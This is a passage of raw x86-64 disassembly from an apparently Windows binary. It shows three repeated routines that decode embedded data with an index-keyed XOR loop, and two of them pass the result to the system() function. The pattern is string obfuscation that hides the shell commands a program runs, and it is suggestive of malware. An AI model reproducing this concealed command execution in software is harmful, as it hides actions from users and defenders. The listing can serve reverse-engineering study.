jl 0x140041db0
lea rcx, [rbp + 0x9e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400cfbf0]
movups xmm0, xmmword [0x1400cfbe0]
movups xmmword [rbp + 0x1460], xmm1
movups xmmword [rbp + 0x1450], xmm0
movups xmm1, xmmword [0x1400cfc10]
movups xmm0, xmmword [0x1400cfc00]
movups xmmword [rbp + 0x1480], xmm1
movups xmmword [rbp + 0x1470], xmm0
movups xmm1, xmmword [0x1400cfc30]
movups xmm0, xmmword [0x1400cfc20]
movups xmmword [rbp + 0x14a0], xmm1
movups xmmword [rbp + 0x1490], xmm0
movzx eax, word [0x1400cfc60]
movups xmm1, xmmword [0x1400cfc50]
movups xmm0, xmmword [0x1400cfc40]
mov word [rbp + 0x14d0], ax
movups xmmword [rbp + 0x14c0], xmm1
movups xmmword [rbp + 0x14b0], xmm0
mov r8d, edi
cmp esi, 2
jl 0x140041f89
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1454]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140041e90
cmp r8d, 0x82
jge 0x140041fd6
movsxd rax, r8d
lea r9, [rbp + 0x1450]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x82
jl 0x140041fa0
lea rcx, [rbp + 0x1450]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400d1850]
movups xmmword [rbp + 0x650], xmm0
movups xmm0, xmmword [0x1400d1870]
movups xmmword [rbp + 0x670], xmm0
movups xmm0, xmmword [0x1400d1890]
movups xmm1, xmmword [0x1400d1860]
movups xmmword [rbp + 0x690], xmm0
movups xmmword [rbp + 0x660], xmm1
mov eax, dword [0x1400d18c8]
movups xmm0, xmmword [0x1400d18b0]
movups xmm1, xmmword [0x1400d1880]
mov dword [rbp + 0x6c8], eax
movups xmmword [rbp + 0x6b0], xmm0
movups xmmword [rbp + 0x680], xmm1
movzx eax, word [0x1400d18cc]
movsd xmm0, qword [0x1400d18c0]
movups xmm1, xmmword [0x1400d18a0]
mov word [rbp + 0x6cc], ax
movsd qword [rbp + 0x6c0], xmm0
movups xmmword [rbp + 0x6a0], xmm1
mov r8d, edi
cmp esi, 2
jl 0x140042183
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x654]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140042090
cmp r8d, 0x7e
jge 0x1400421c3
movsxd rax, r8d
lea r9, [rbp + 0x650]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7e
jl 0x140042190
lea rcx, [rbp + 0x650]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400d1a70]
movups xmmword [rbp + 0x820], xmm0
movups xmm0, xmmword [str.9__6_:_411_]
movups xmm1, xmmword [0x1400d1a80]
movups xmmword [rbp + 0x840], xmm0
movups xmmword [rbp + 0x830], xmm1
movups xmm0, xmmword [0x1400d1ab0]
movups xmm1, xmmword [0x1400d1aa0]
movups xmmword [rbp + 0x860], xmm0
movups xmmword [rbp + 0x850], xmm1
mov eax, dword [0x1400d1af8]
movups xmm0, xmmword [0x1400d1ad0]
movups xmm1, xmmword [0x1400d1ac0]
mov dword [rbp + 0x8a8], eax
movups xmmword [rbp + 0x880], xmm0
movups xmmword [rbp + 0x870], xmm1
movzx eax, byte [0x1400d1afc]
movsd xmm0, qword [0x1400d1af0]
movups xmm1, xmmword [0x1400d1ae0]
mov byte [rbp + 0x8ac], al
movsd qword [rbp + 0x8a0], xmm0
movups xmmword [rbp + 0x890], xmm1
mov r8d, edi
cmp esi, 2
jl 0x140042389
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x824]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140042290
movsxd rax, r8d
lea r9, [rbp + 0x820]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8d
jl 0x1400423a0
call fcn.1400394d0
nop
call fcn.140039430
int3